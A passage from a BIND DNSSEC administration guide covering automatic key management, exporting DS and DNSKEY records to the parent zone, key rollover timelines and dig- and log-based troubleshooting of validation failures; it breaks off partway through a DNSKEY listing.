Inline signing can also be used as a strategy to aid DNSSEC deployment in the case where the master zone cannot be easily modified To learn more about inline signing, please see Section 6.5.2, “DNSSEC and Inline Signing”.

4.3.2.4. auto-dnssec

zone "example.com" IN {
    auto-dnssec maintain;
};

With keys, comes the burden of key management. auto-dnssec provides varying levels of automatic key management. There are three possible settings:

  1. off: this is the default, key management is done manually
  2. allow: permits keys to be updated and the zone fully re-signed whenever the user issues the command rndc sign [zonename].
  3. maintain: includes what “allow” has, but also automatically adjusts the zone’s DNSSEC keys on schedule, according to the key’s timing metadata.

We have opted for the “maintain” mode in our example, which provides the most automated key management. With this option enabled, BIND will periodically check to see if new keys are available, or old keys need to be retired, and automatically add or remove the appropriate DNSKEY records from the zone. The frequency of the check can be controlled via dnssec-loadkeys-interval, default is 60 minutes (1 hour).

Note

auto-dnssec is a feature to automate many of the key management tasks, which we discuss in more detail in Section 6.4.2.1, “Manual Key Management and Signing”, to cover topics such as manual signing and key timing metadata.

4.4. Working with Parent Zone

As we mentioned in Section 4.1.4, “Upload to Parent Zone”, the format of the information you upload to your parent zone is dictated by your parent zone administrator, and the three main formats are:

  1. DS Record Format
  2. DNSKEY Format
  3. Trusted Key Format

ICANN maintains a list of registrars who support DNSSEC:

https://www.icann.org/resources/pages/deployment-2012-02-25-en

Next, we will take a look at how to get each of the three formats from your existing data.

4.4.1. DS Record Format

Below is an example of generating DS record formats from the KSK we created earlier (Kexample.com.+008+28267.key) using two different secure hashing algorithms (SHA-1 and SHA-256, respectively):

# cd /etc/bind/keys/example.com
# dnssec-dsfromkey -a SHA-1 Kexample.com.+008+06817.key
example.com. IN DS 6817 8 1 59194A835ACD78D25D538D5F35CA043A8F3F4446
# dnssec-dsfromkey -a SHA-256 Kexample.com.+008+06817.key
example.com. IN DS 6817 8 2 2A5F1DF55D5E64CBD7BCFE1EFA6E9586AF335FA56A2473296E975B89AFD31E11

Some registrars many ask you to manually specify the types of algorithm and digest used. In the first example, 8 represents the algorithm used, and 1 represents the digest type (SHA-1); in the second example, 8 is the algorithm, and 2 is the digest type (SHA-256). The key tag or key ID is 28267.

Alternatively, you could generate it from the DNSKEY records like this:

$ dig @192.168.1.13 example.com. DNSKEY | dnssec-dsfromkey -f - example.com
example.com. IN DS 6817 8 1 59194A835ACD78D25D538D5F35CA043A8F3F4446
example.com. IN DS 6817 8 2 2A5F1DF55D5E64CBD7BCFE1EFA6E9586AF335FA56A2473296E975B89AFD31E11

4.4.2. DNSKEY Format

Below is an example of a different key ID (16027) using DNSKEY format (actual key shortened for display):

example.com. 172800 IN DNSKEY 257 3 8 (AwEAAbGOPf...AX2QHMY8=) ; key id = 16027

The key itself is easy to find (it’s kind of hard to miss that big long base64 string) in the file. Remember, we want KSK, so look for the presence of 257.

# cd /etc/bind/keys/example.com
# cat Kexample.com.+008+06817.key
; This is a key-signing key, keyid 6817, for example.com.
; Created: 20141120094612 (Thu Nov 20 17:46:12 2014)
; Publish: 20141120094612 (Thu Nov 20 17:46:12 2014)
; Activate: 20141120094612 (Thu Nov 20 17:46:12 2014)
example.com. IN DNSKEY 257 3 8 AwEAAcWDps...lM3NRn/G/R

Some registrars may ask you to manually specify the type of algorithm used and the key tag number. In our example above, the chosen algorithm is 8, and the key ID is 6817.

4.4.3. Trusted Key Format

This format is very similar to the DNSKEY format, the differences are mostly cosmetic. Below is an example of trusted-keys format (again, actual key shortened for display):

"example.com." 257 3 8 "AwEAAbGOPf...9AX2QHMY8=";

4.4.4. What if My Parent Zone Doesn’t Support DNSSEC?

Without a parent zone to vouch for you, none of your new shiny DNSSEC records will yield to much significance when it comes to validation. Your zone will still be resolvable without cooperation from your parent zone.

But not all hope is lost. Assuming you want everyone on the Internet to be able to validate your DNS data, you should do both of the followings:

  1. Contact your registrar and ask for DNSSEC support.
  2. Look into using Section 6.5.3, “DNSSEC Look-aside Validation (DLV)”.

The long term solution is still to have your parent zone work with you. If your registrar does not support DNSSEC, maybe it’s time to switch to one that does.

4.5. Using NSEC3

After reloading the server configuration file, additional DNSSEC resource records are auto-magically generated. By default, BIND will generate NSEC records. If you wish to use NSEC3 instead, please follow the steps described in Section 7.3.1, “Migrating from NSEC to NSEC3”. To learn more about the difference between NSEC and NSEC3, please see Section 6.2, “Proof of Non-Existence (NSEC and NSEC3) ”.

4.6. Maintenance Tasks

Zone data is signed, parent zone has published your DS records, at this point your zone is officially secure. When other validating resolvers lookup information in your zone, they are able to follow the 12-step process as described in Section 3.3.2, “How Does DNSSEC Change DNS Lookup (Revisited)?” and verify the authenticity and integrity of the answers.

There is not that much left for you to do, as the DNS administrator, at an ongoing basis. Whenever you update your zone, BIND will automatically resign your zone with new RRSIG and NSEC or NSEC3 records, and even increment the serial number for you.

That leaves DNSKEY records. Just like passwords and underwear, keys should be changed periodically. There are arguments for and against rolling keys, which are discussed elsewhere. If you decide to change your keys, we recommend changing your ZSK pair anually, and your KSK pair every five years. This is also known as a key rollover.

Why annually for the ZSK? That’s just a convenient length of time that probably coincides with your domain name registration/renewal cycle; And every five years? That’s also a generic length of time, one which happens to be the same as the root key’s rollover schedule. Some people feel or have the need to do it more frequently, while some argue that there is no need for key rolling. We discuss those considerations in Section 6.4.1, “Key Rollovers”. But assuming you do not have special security requirements, nor do you host a high valued zone, rotating your ZSK every year and KSK every five years should suffice. We also provide detailed step-by-step examples of each rollover in Section 7.2, “Rollover Recipes”.

4.6.1. ZSK Rollover

Assuming you are rolling over ZSK every year on January 1st, below is the timeline of what should happen:

  1. December 1st, a month before rollover date

    • Change timer on current ZSK
    • Generate new ZSK
    • Publish new DNSKEY
  2. January 1st, day of rollover

    • New ZSK used to replace RRSIGs for the bulk of the zone
  3. February 1st, a month after rollover date

    • Remove old DNSKEY from zone
    • DNSKEY signatures made with KSK are changed

This may look like a lot of work, but with inline-signing and auto-dnssec, most of these are automated. The only thing that needs to be done manually are just the first two items:

  • Change timer on current ZSK
  • Generate new ZSK

For an example of how to execute a ZSK rollover, please see Section 7.2.1, “ZSK Rollover Recipe”.

4.6.2. KSK Rollover

KSK rollover is very similar to ZSK, with the addition of interacting with the parent zone. In fact, as you can see below, the timeline looks nearly identical to the ZSK rollover, with the addition of interaction with parent zone:

  1. December 1st, a month before rollover date

    • Change timer on current KSK
    • Generate new KSK and DS records
    • Upload new DS records to parent zone
  2. January 1st, day of rollover

    • Use new KSK to sign all DNSKEY RRset, this generates new RRSIGs
    • Add new RRSIGs to the zone
    • Remove old RRSIGs from zone
  3. February 1st, a month after rollover date

    • Remove old KSK DNSKEY from zone
    • Remove old DS records from parent zone

Unfortunately, as of this writing, KSK rollover involves a lot of manual steps. As described above, the only automated tasks are the ones that occur on the day of the rollover (January 1st), everything else needs to be done manually. To see an example of how to perform a KSK rollover, please see Section 7.2.2, “KSK Rollover Recipe”.


[3] Well, almost every record. NS records and glue records for delegations do not have RRSIG records like everyone else. If you do not have any delegations, then yes, every record in your zone will be signed and comes with its own RRSIG.

Chapter 5. Basic Troubleshooting

In this chapter, we are going to cover some basic troubleshooting techniques, common DNSSEC symptoms, and their solutions and causes. This is not a comprehensive “how to troubleshoot any DNS or DNSSEC problem” guide, because that in and of itself could easily be an entire book.

5.1. Query Path

The first step to your DNS or DNSSEC troubleshooting should be to determine the query path. This is not a DNSSEC-specific troubleshooting technique. Whenever you are working with a DNS-related issue, it is always a good idea to determine the exact query path to identify the origin of the problem.

End clients, such as laptop computers or mobile phones, are configured to talk to a recursive name server, and the recursive name server may in turn forward on to more recursive name servers, before arriving at the authoritative name server. The giveaway is the presence of the Authoritative Answer (aa) flag: when present, we know we are talking to the authoritative server; when missing, we are talking to the recursive server. The example below shows an answer without the Authoritative Answer flag:

$ dig www.example.com. A

; <<>> DiG 9.10.1 <<>> www.example.com. A
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41006
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.       IN  A

;; ANSWER SECTION:
www.example.com.    600 IN  A   192.168.1.100

;; Query time: 21 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Mon Nov 03 19:54:37 CST 2014
;; MSG SIZE  rcvd: 60

Not only do we not see the aa flag, we see the presence of an ra flag, which represents Recursion Available. This indicates that the server we are talking to (192.168.1.7 in this example) is a recursive name server. And although we were able to get an answer for http://www.example.com, the answer came from somewhere else.

The example below shows when we query the authoritative server directly and see the presence of the aa flag:

$ dig @192.168.1.13 www.example.com. A

; <<>> DiG 9.10.1 <<>> @192.168.1.13 www.example.com. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35962
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
...

The presence of the aa flag tells us that we are now talking to the authoritative name server for example.com, and this is not a cached answer it obtained from some other name server, it served this answer to us right from its own database. In fact, if you look closely, the ra flag is not present, which means this name server is not configured to perform recursion (at least not for this client), so it could not have queried another name server to get cached results anyway.

5.2. Visible Symptoms

After you have figured out the query path, the next thing to do is to determine whether or not the problem is actually related to DNSSEC validation. You can use the +cd flag in dig to disable validation, as described inSection 3.2.5, “How Do I know I Have a Validation Problem?”.

When there is indeed a DNSSEC validation problem, the visible symptoms, unfortunately, are very limited. With DNSSEC validation enabled, if a DNS response is not fully validated, it will result in a generic SERVFAIL message, as shown below when querying against a recursive name server 192.168.1.7:

$ dig @192.168.1.7 www.isc.org. A
; <<>> DiG 9.10.1 <<>> @192.168.1.7 www.isc.org. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 8101
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.isc.org.           IN  A

;; Query time: 973 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Thu Oct 16 20:28:20 CST 2014
;; MSG SIZE  rcvd: 40

With delv, a “resolution failed” message is output instead:

$ delv @192.168.1.7 www.isc.org. A +rtrace
;; fetch: www.isc.org/A
;; resolution failed: failure

5.3. Logging

DNSSEC validation error messages by default will show up in syslog as a Query-Error. It will have the string “error” at the start of the message. Here is an example of what it may look like:

error (insecurity proof failed) resolving './NS/IN': 192.168.1.13#53

Usually, this level of error logging should suffice for most. If you would like to get more detailed information about why DNSSEC validation failed, read on to Section 5.3.1, “BIND DNSSEC Debug Logging” to learn more.

5.3.1. BIND DNSSEC Debug Logging

A word of caution: before you enable debug logging, be aware that this may dramatically increase the load on your name servers.

With that said, sometimes it may become necessary to temporarily enable BIND debug logging to see more details of how DNSSEC is validating (or not). DNSSEC-related messages are not recorded in syslog by default, even if query log is enabled, only DNSSEC errors will show up in syslog. Enabling debug logging is not recommended for production servers, as it increases load on the server.

The example below shows how to enable debug level 3 (to see full DNSSEC validation messages) in BIND9 and have it sent to syslog:

logging {
   channel dnssec_log {
        syslog daemon;
        severity debug 3;
        print-category yes;
    };
    category dnssec { dnssec_log; };
};

The example below shows how to log DNSSEC messages to their own file:

logging {
   channel dnssec_log {
        file "/var/log/dnssec.log";
        severity debug 3;
    };
    category dnssec { dnssec_log; };
};

After restarting BIND, a large number of log messages will appear in syslog. The example below shows the log messages as a result of successfully looking up and validating the domain name http://www.isc.org.

validating @0xb8012d88: . NS: starting
validating @0xb8012d88: . NS: attempting positive response validation
validating @0xb805a9b0: . DNSKEY: starting
validating @0xb805a9b0: . DNSKEY: attempting positive response validation
validating @0xb805a9b0: . DNSKEY: verify rdataset (keyid=19036): success
validating @0xb805a9b0: . DNSKEY: signed by trusted key; marking as secure
validator @0xb805a9b0: dns_validator_destroy
validating @0xb8012d88: . NS: in fetch_callback_validator
validating @0xb8012d88: . NS: keyset with trust 8
validating @0xb8012d88: . NS: resuming validate
validating @0xb8012d88: . NS: verify rdataset (keyid=8230): success
validating @0xb8012d88: . NS: marking as secure, noqname proof not needed
validator @0xb8012d88: dns_validator_destroy
validating @0xb8012d88: www.isc.org A: starting
validating @0xb8012d88: www.isc.org A: attempting positive response validation
validating @0xb805a9b0: isc.org DNSKEY: starting
validating @0xb805a9b0: isc.org DNSKEY: attempting positive response validation
validating @0xb827e298: isc.org DS: starting
validating @0xb827e298: isc.org DS: attempting positive response validation 
validating @0xb827fd18: org DNSKEY: starting
validating @0xb827fd18: org DNSKEY: attempting positive response validation 
validating @0xb8281798: . NS: starting
validating @0xb8281798: . NS: attempting positive response validation 
validating @0xb8281798: . NS: keyset with trust 8
validating @0xb8280790: org DS: starting
validating @0xb8280790: org DS: attempting positive response validation 
validating @0xb8280790: org DS: keyset with trust 8
validating @0xb8280790: org DS: verify rdataset (keyid=8230): success
validating @0xb8280790: org DS: marking as secure, noqname proof not needed
validator @0xb8280790: dns_validator_destroy
validating @0xb827fd18: org DNSKEY: in dsfetched
validating @0xb827fd18: org DNSKEY: dsset with trust 8
validating @0xb827fd18: org DNSKEY: verify rdataset (keyid=21366): success
validating @0xb827fd18: org DNSKEY: marking as secure (DS)
validator @0xb827fd18: dns_validator_destroy
validating @0xb827e298: isc.org DS: in fetch_callback_validator
validating @0xb827e298: isc.org DS: keyset with trust 8
validating @0xb827e298: isc.org DS: resuming validate
validating @0xb827e298: isc.org DS: verify rdataset (keyid=33287): success
validating @0xb827e298: isc.org DS: marking as secure, noqname proof not needed
validator @0xb827e298: dns_validator_destroy
validating @0xb805a9b0: isc.org DNSKEY: in dsfetched 
validating @0xb805a9b0: isc.org DNSKEY: dsset with trust 8
validating @0xb805a9b0: isc.org DNSKEY: verify rdataset (keyid=12892): success
validating @0xb805a9b0: isc.org DNSKEY: marking as secure (DS)
validator @0xb805a9b0: dns_validator_destroy
validating @0xb8012d88: www.isc.org A: in fetch_callback_validator

5.4. Common Problems

5.4.1. Security Lameness

Similar to Lame Delegation in traditional DNS, this refers to the symptom when the parent zone holds a set of DS records that point to something that does not exist in the child zone. The resulting symptom is that the entire child zone may “disappear”, being marked as bogus by validating resolvers.

Below is an example attempting to resolve the A record for a test domain name http://www.example.com. From the user’s perspective, as described in Section 3.2.5, “How Do I know I Have a Validation Problem?”, only SERVFAIL message is returned. On the validating resolver, we could see the following messages in syslog:

named[6703]: error (no valid RRSIG) resolving 'example.com/DNSKEY/IN': 149.20.61.151#53
named[6703]: error (broken trust chain) resolving 'www.example.com/DS/IN': 149.20.61.151#53
named[6703]: error (broken trust chain) resolving 'www.example.com/A/IN': 149.20.61.151#53

This gives us a hint that it is a broken trust chain issue. Let’s take a look at the DS records that are published by querying one of the public DNS resolvers that supports DNSSEC. We have highlighted in the key tag ID returned, and shortened some keys for display:

$ dig @8.8.8.8 example.com. DS

; <<>> DiG 9.10.1 <<>> @8.8.8.8 example.com. DS
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9640
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;example.com.       IN  DS

;; ANSWER SECTION:
example.com.    21599   IN  DS  53476 8 2 1544D......7DDA7
example.com.    21599   IN  DS  53476 8 1 CD2AF...0B47B

;; Query time: 212 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Nov 27 17:23:42 CST 2014
;; MSG SIZE  rcvd: 133

Next, we query for the DNSKEY and RRSIG of example.com, to see if there’s anything wrong. Since we are having trouble validating, we flipped on the +cd option to disable checking for now to get the results back, even though they do not pass the validation tests. The +multiline option tells dig to print the type, algorithm type, and key id for DNSKEY records. Again, key tag ID’s are highlighted, and some long strings are shortened for display:

$ dig @8.8.8.8 example.com. DNSKEY +dnssec +cd +multiline

; <<>> DiG 9.10.1 <<>> @8.8.8.8 example.com. DNSKEY +dnssec +cd +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20329
;; flags: qr rd ra cd; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 512
;; QUESTION SECTION:
;example.com.   IN DNSKEY

;; ANSWER SECTION:
example.com.    299 IN DNSKEY 257 3 8 (
                AwEAAePggU...0VPPEX+DE=
                ) ; KSK; alg = RSASHA256; key id = 48580
example.com.    299 IN DNSKEY 256 3 8 (
                AwEAAbMZp6...NRJnwyC/uX
                ) ; ZSK; alg = RSASHA256; key id = 60426
example.com.    299 IN RRSIG DNSKEY 8 2 300 (
                20141227074820 20141127064820 48580 example.com.
                ph3eBXsBQy...fQTRTlpg== )
example.com.    299 IN RRSIG DNSKEY 8 2 300 (
                20141227074820 20141127064820 60426 example.com.
                VaQ0INIa3a...nj3YTPv5A= )

;; Query time: 368 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Nov 28 11:33:00 CST 2014
;; MSG SIZE  rcvd: 961

Here is our problem: the parent zone is telling the world that example.com is using the key 53476, but the authoritative servers are saying: no no no, I am using keys 48580 and 60426. There might be several causes for this mismatch, one possibility is that a malicious attacker has compromised one side and change the data. The more likely scenario is that the DNS administrator for the child zone did not upload the correct key information to the parent zone.

5.4.2. Incorrect Time

In DNSSEC, every record will come with at least one RRSIG, and RRSIG contains two timestamps indicating when it starts becoming valid, and when it expires. If the validating resolver’s current system time does not fall within the RRSIG two timestamps, the following error messages occur in BIND debug log.

First, the example below shows the log messages when the RRSIG has expired. This could mean the validating resolver system time is incorrectly set too far in the future, or the zone administrator has not kept up with RRSIG maintenance.

validating @0xb7b839b0: . DNSKEY: verify failed due to bad signature (keyid=19036): RRSIG has expired

The logs below show RRSIG validity period has not begun. This could mean validation resolver system is incorrectly set too far in the past, or the zone administrator has incorrectly generated signatures for this domain name.

validating @0xb7c1bd88: www.isc.org A: verify failed due to bad signature (keyid=4521): RRSIG validity period has not begun

5.4.3. Invalid Trust Anchors

As we have seen in the section Section 3.4, “Trust Anchors”, whenever a DNSKEY is received by the validating resolver, it is actually compared to the list of keys the resolver has explicitly trusted to see if further action is needed. If the two keys match, the validating resolver stops performing further verification and returns the answer(s) as validated.

But what if the key file on the validating resolver is misconfigured or missing? Below we show some examples of log messages when things are not working properly.

First of all, if the key you copied is malformed, BIND will not even start up and you will likely find this error message in syslog:

named[18235]: /etc/bind/named.conf.options:29: bad base64 encoding
named[18235]: loading configuration: failure

If the key is a valid base64 string, but the key algorithm is incorrect, or if the wrong key is installed, the first thing you will notice is that pretty much all of your DNS lookups result in SERVFAIL, even when you are looking up domain names that have not been DNSSEC-enabled. Below shows an example of querying a recursive server 192.168.1.7:

$ dig @192.168.1.7 www.example.com. A

; <<>> DiG 9.10.1 <<>> @192.168.1.7 www.example.com. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 8093
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.           IN  A

delv shows similar result:

$ delv @192.168.1.7 www.example.com. +rtrace
;; fetch: www.example.com/A
;; resolution failed: failure

The next symptom you will see is in the DNSSEC log messages:

validating @0xb8b18a38: . DNSKEY: starting
validating @0xb8b18a38: . DNSKEY: attempting positive response validation
validating @0xb8b18a38: . DNSKEY: unable to find a DNSKEY which verifies the DNSKEY RRset and also matches a trusted key for '.'
validating @0xb8b18a38: . DNSKEY: please check the 'trusted-keys' for '.' in named.conf.

5.4.4. Unable to Load Keys

This is a simple yet common issue. If the keys files were present but not readable by named, the syslog messages are clear, as shown below:

named[32447]: zone example.com/IN (signed): reconfiguring zone keys
named[32447]: dns_dnssec_findmatchingkeys: error reading key file Kexample.com.+008+06817.private: permission denied
named[32447]: dns_dnssec_findmatchingkeys: error reading key file Kexample.com.+008+17694.private: permission denied
named[32447]: zone example.com/IN (signed): next key event: 27-Nov-2014 20:04:36.521

However, if no keys are found, the error is not as obvious. Below shows the syslog messages after executing rndc reload, with the key files missing from the key directory:

named[32516]: received control channel command 'reload'
named[32516]: loading configuration from '/etc/bind/named.conf'
named[32516]: reading built-in trusted keys from file '/etc/bind/bind.keys'
named[32516]: using default UDP/IPv4 port range: [1024, 65535]
named[32516]: using default UDP/IPv6 port range: [1024, 65535]
named[32516]: sizing zone task pool based on 6 zones
named[32516]: the working directory is not writable
named[32516]: reloading configuration succeeded
named[32516]: reloading zones succeeded
named[32516]: all zones loaded
named[32516]: running
named[32516]: zone example.com/IN (signed): reconfiguring zone keys
named[32516]: zone example.com/IN (signed): next key event: 27-Nov-2014 20:07:09.292

This happens to look exactly the same as if the keys were present and readable, and named loaded the keys and signed the zone. It will even generate the internal (raw) files:

# cd /etc/bind/db
# ls
example.com.db  example.com.db.jbk  example.com.db.signed

If named really loaded the keys and signed the zone, you should see the following files:

# cd /etc/bind/db
# ls
example.com.db  example.com.db.jbk  example.com.db.signed  example.com.db.signed.jnl

So, unless you see the *.signed.jnl file, your zone has not been signed.

5.5. NSEC3 Troubleshooting

BIND includes a tool called nsec3hash that runs through the same steps a validating resolver would, to generate the correct hashed name based on NSEC3PARAM parameters. The command takes the following parameters in order: salt, algorithm, iterations, and domain. For example, if the salt is 1234567890ABCDEF, hash algorithm is 1, and iteration is 10, to get the NSEC3-hashed name for http://www.example.com we would execute a command like this:

$ nsec3hash 1234567890ABCEDF 1 10 www.example.com
RN7I9ME6E1I6BDKIP91B9TCE4FHJ7LKF (salt=1234567890ABCEDF, hash=1, iterations=10)

While it is unlikely you would construct a rainbow table of your own zone data, this tool might be useful to troubleshoot NSEC3 problems.

5.6. Troubleshooting Example

Let’s put what we’ve looked at together into an example and see the steps taken to solve the problem. We start with someone complaining that she is unable to resolve the name http://www.example.com. We use dig on her machine to verify the behavior, and we received the following output from dig:

$ dig www.example.com. A

; <<>> DiG 9.10.1 <<>> www.example.com. A
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 26068
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.       IN  A

;; Query time: 784 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Mon Nov 03 20:00:45 CST 2014
;; MSG SIZE  rcvd: 44

We learned from this output that the recursive name server 192.168.1.7 returned a generic error message when resolving the name http://www.example.com. The next step is to look at the DNS server configuration on 192.168.1.7 to see how it is configured. Below is an excerpt of named.conf from 192.168.1.7:

options {
    ...
    forwarders {192.168.1.11;};
    forward only;
    ...
};

This tells us that the recursive name server 192.168.1.7 just sends all recursive queries to 192.168.1.11. Let’s query 192.168.1.11:

$ dig @192.168.1.11 www.example.com. A

; <<>> DiG 9.10.1 <<>> @192.168.1.11 www.example.com. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 24171
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
...

And we get the same result as when we queries 192.168.1.7, generic failure message, but we also learned that 192.168.1.11 is not authoritative for example.com (no aa flag), so it is getting this response from somewhere else. Below is the configuration excerpt from 192.168.1.11:

options {
    ...
    forwarders {};
    forward only;
    ...
};

zone "example.com" IN {
    type forward;
    forwarders { 192.168.1.13; };
    forward only;
};

At first glance, it may look like 192.168.1.11 is just performing recursion itself, querying Internet name servers directly; however, further down the configuration file, we see the forward zone definition, which tell us that 192.168.1.11 is doing conditional forwarding just for example.com, and it is sending all example.com queries to 192.168.1.13.

We then query 192.168.1.13:

$ dig @192.168.1.13 www.example.com. A

; <<>> DiG 9.10.1 <<>> @192.168.1.13 www.example.com. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35962
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.       IN  A

;; ANSWER SECTION:
www.example.com.    600 IN  A   192.168.1.100

;; Query time: 4 msec
;; SERVER: 192.168.1.13#53(192.168.1.13)
;; WHEN: Mon Nov 03 20:06:26 CST 2014
;; MSG SIZE  rcvd: 60

Finally! We found the authoritative name server! Now we know our query path looks like this:

Figure 5.1. Query Path

Query Path

But 192.168.1.13 has no trouble answering the query for http://www.example.com, so the problem might be between 192.168.1.11 and 192.168.1.13? We know there are no firewalls or network devices between 192.168.1.11 and 192.168.1.13 that could intercept packets. Let’s query 192.168.1.11 again, but this time, let’s purposely turn off DNSSEC validation by using +cd (checking disabled), to see if this error message was caused by DNSSEC validation:

$ dig @192.168.1.11 www.example.com. A +cd

; <<>> DiG 9.10.1 <<>> @192.168.1.11 www.example.com. A +cd
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58332
;; flags: qr rd ra cd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.       IN  A

;; ANSWER SECTION:
www.example.com.    562 IN  A   192.168.1.100

;; Query time: 2 msec
;; SERVER: 192.168.1.11#53(192.168.1.11)
;; WHEN: Mon Nov 03 20:01:23 CST 2014
;; MSG SIZE  rcvd: 60

Bingo! So the problem is on 192.168.1.11, and specifically, with DNSSEC validation. Now we can focus our attention on the configuration on 192.168.1.11, examine its logs, check its system time, or check its trust anchors, to see what may be the root cause.

Examining log messages from 192.168.1.11, we notice the following two entries:

error (no valid KEY) resolving 'example.com/DNSKEY/IN': 192.168.1.13#53
error (broken trust chain) resolving 'www.example.com/A/IN': 192.168.1.13#53

So it would appear that on the server 192.168.1.11, there is a broken trust chain. At this point, we can probably conclude the problem is in one of the trusted-keys statements on 192.168.1.11, but let’s turn on DNSSEC debug logging (as described in Section 5.3.1, “BIND DNSSEC Debug Logging”), and re-run the dig for http://www.example.com one more time to see what log messages get generated:

...
validating @0xb4b48968: example.com DNSKEY: attempting positive response validation
validating @0xb4b48968: example.com DNSKEY: unable to find a DNSKEY which verifies the DNSKEY RRset and also matches a trusted key for 'example.com'
validating @0xb4b48968: example.com DNSKEY: please check the 'trusted-keys' for 'example.com' in named.conf.
...

Okay, so we have a confirmed log message telling us to look at ‘trusted-keys‘. The named.conf on 192.168.1.11 contains the following:

trusted-keys {
    example.com. 257 3 8 "AwEAAbluLK0k3dPKnsJNd5tGbO5bgh7WuXzaSDQVwi/qqPdCR65ZDiin
                          0GTpL++B1iKYDP4rRL/s/2TMppI1fV638f2SuhNQ9zYIuCo/FuHeJB7/
                          DBQ03eJFvN1QHC0we2uUFrXazz8eT9nkI1SUu0fhcs6CA06gGqauDbpU
                          mpM7VUX3";
};

Let’s check the authoritative server (192.168.1.13) for the correct key:

$ dig @192.168.1.13 example.com. DNSKEY +multiline

; <<>> DiG 9.10.1 <<>> @192.168.1.13 example.com. DNSKEY +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38451
;; flags: qr aa rd; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;example.com.       IN DNSKEY

;; ANSWER SECTION:
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAbluLK0k3dPKnsJNd5tGbO5bgh7WuXzaSDQVwi/q
                qPdCR65ZDiin0GTpL++B1iKYDP4rRL/s/2TMppI1fV63
                8f2SuhNQ9zYIuCo/FuHeJB7/DBQ03eJFvN1QHC0we2uU
                FrXazz8eT9nkI1SUu0fhcs6CA06gGqauDbpUmpM7VUX3
                ) ; ZSK; alg = RSASHA256; key id = 4974
example.com.        600 IN DNSKEY 257 3 8 (
                AwEAAb4N53kPbdRTAwvJT8OYVeVhQIldwppMy7KBJ+8k
                Uggx2PU3yP/qlq4Zjl0MMmqRiJhD/S+z9cJLNTZ9tHz1
                7aZQjFyGAyuU3DGW16xfMolcIn+c8TpPCzBOFhxk6jvO
                VLlz+Wgyi1ES+t29FjYYv5cVNRPmxXLRjlHFdO1DzX3N
                dmcUoZ+VVJCvaML9+6UpL/6jitNsoU8JHnxT9B2CGKcw
                N7VaK4l9Ida2BqY3/4UVqWzhj03/M5LK6cn1pEQbQMtY
                R0TNJURBKdK8bH663h98i23tVX0/85IsCVBL4Dd2boa3
                /7HPp7uZN1AjDvcRsOh1mqixwUGmVm1EskDIMy8=
                ) ; KSK; alg = RSASHA256; key id = 45319
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAfbc/0ESumm1mPVkm025PfHKHNYW62yx0wyLN5LE
                4DifN6FzIVSKSGdMOdq+z6vFGxzzjPDz7QZdeC6ttIUA
                Bo4tG7dDrsWK+tG5cm4vuylsEVbnnW5i+gFG/02+RYmZ
                ZT9AobXB5bVjfXl9SDBgpBluB35WUCAnK9WkRRUS08lf
